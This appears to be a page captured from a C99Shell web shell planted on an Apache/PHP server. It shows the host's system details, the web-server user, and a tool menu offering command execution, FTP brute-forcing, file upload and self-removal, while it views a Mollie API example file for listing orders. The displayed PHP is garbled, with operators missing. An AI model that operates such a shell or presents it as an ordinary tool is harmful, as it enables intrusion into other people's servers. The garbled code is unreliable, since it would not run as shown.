!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/mollie/mollie-api-php/examples/orders/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-orders.php (1.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * List orders using the Mollie API.
 */


try {
    
/*
     * Initialize the Mollie API library with your API key or OAuth access token.
     */
    
require "../initialize.php";

    
/*
     * List the most recent orders
     *
     * See: https://docs.mollie.com/reference/v2/orders-api/list-orders
     */
    
echo '<ul>';
    
$latestOrders $mollie->orders->page();
    
printOrders($latestOrders);

    
$previousOrders $latestOrders->next();
    
printOrders($previousOrders);
    echo 
'</ul>';
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

function 
printOrders($orders)
{
    if (empty(
$orders)) {
        return ;
    }

    foreach (
$orders as $order) {
        echo 
'<li><b>Order ' htmlspecialchars($order->id) . ':</b> (' htmlspecialchars($order->createdAt) . ')';
        echo 
'<br>Status: <b>' htmlspecialchars($order->status);
        echo 
'<table border="1"><tr><th>Billed to</th><th>Shipped to</th><th>Total amount</th></tr>';
        echo 
'<tr>';
        echo 
'<td>' htmlspecialchars($order->shippingAddress->givenName) . ' ' htmlspecialchars($order->shippingAddress->familyName) . '</td>';
        echo 
'<td>' htmlspecialchars($order->billingAddress->givenName) . ' ' htmlspecialchars($order->billingAddress->familyName) . '</td>';
        echo 
'<td>' htmlspecialchars($order->amount->currency) . str_replace('.'','htmlspecialchars($order->amount->value)) . '</td>';
        echo 
'</tr>';
        echo 
'</table>';
        echo 
'<a href="'$order->getCheckoutUrl() .'" target="_blank">Click here to pay</a>';
        echo 
'</li>';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--